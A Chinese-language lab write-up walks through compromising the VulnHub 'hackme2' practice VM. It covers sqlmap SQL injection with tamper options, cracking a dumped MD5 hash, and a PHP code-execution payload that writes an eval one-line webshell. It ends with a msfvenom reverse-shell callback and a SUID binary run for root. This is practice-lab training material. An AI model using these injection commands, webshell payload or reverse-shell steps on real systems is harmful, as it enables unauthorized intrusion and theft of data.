Hackme2靶机渗透总结
靶机下载地址:
https://download.vulnhub.com/hackme/hackme2-DHCP.ova
-
先用nmap扫描出hackme2靶机的ip和端口,并且根据80端口,打开网站
-
根据注册页面注册了个bihuo15账号,密码也是bihuo15,并且登录进去
-
可以看到有个根据图书标题搜索的搜索框,点击了一个search之后,出现了大量数据
-
经过测试,这里使用的是模糊查询,大概的构造一下语句
Select * from book where tilte = “%title%”
先用sqlmap跑一下
(1) 因为是post提交参数,先将请求包放到1.txt中
(2) 先用最普通的测post的跑一下,发现不行,根据最后的提示,可以加上 –level 参数 和 –tramper=space2comment 参数
(3) 加上之后继续跑
python sqlmap.py –r 1.txt --data=”search=1” --level 5 --tamper=space2comment --batch
发现还是出不来,根据中间的提示,再指定一下数据库试试
加上参数 --dbms= “MySQL”
(4) 更换语句
python sqlmap.py –r 1.txt --data=”search=1” --dbms=”Mysql” –level 5 --tamper=space2comment --batch
成功的跑了出来,存在时间注入和联合注入
(5) 之后就简单了,查数据库,数据表,字段值
a) 数据库:
b) webapphacking数据库中的数据表:
c) users表中的字段:
d) user字段和pasword字段的值: -
用户名和密码已经获得了,可以看出,大概率是要superadmin用户来登录,破解一下密码
MD5解密网站: https://www.somd5.com/
得到密码Uncrackable
-
进行登录,发现新的网站新的功能
-
使用Xray测试一下,发现再last name 出存在代码执行漏洞
使用给出的payload测试,发现md5函数被执行了
${@var_dump(md5(194236224))};
因此判断,可以再md5这里替换任意的php代码
测试${@var_dump(phpinfo())}; 成功解析
那么直接植入代码,这里存在这空格被过滤了,因此用<?=eval 代替<?php eval ${@var_dump(file_put_contents('./shell.php','<?=eval($_POST[12345]);?>'))}
成功的生成一个包含一句话木马的shell.php,并且路径是当前的文件同级目录
利用蚁剑连接,连接成功
-
最后按照一般的渗透测试思路,最后这步就是提权
(1)Sudo提权无法使用
(2)修改passwd也不行
(3)Suid也不行
(4)Crontab计划任务也不行
(5)然后因为在config.php中获取了数据库的用户名和密码
尝试考虑mysql提权但是发现登陆不进去mysql
(6) 上传了dama.php,但是测试,发现执行sql语句的时候,就出现bug
其它的udf mof vbs phpmyadmin的提权存在特定的限制,也没法使用
-
看了网上的答案,发现/home/legacy下存在一个touchmenot可执行文件,运行就能提权
-
使用msfvenom生成一个php的tiquan.php,上传到/var/www/html目录下
在java主机上去访问http://192.168.11.140/tiquan.php
在kali中等待msf连接
最后运行touchmenot文件后提权成功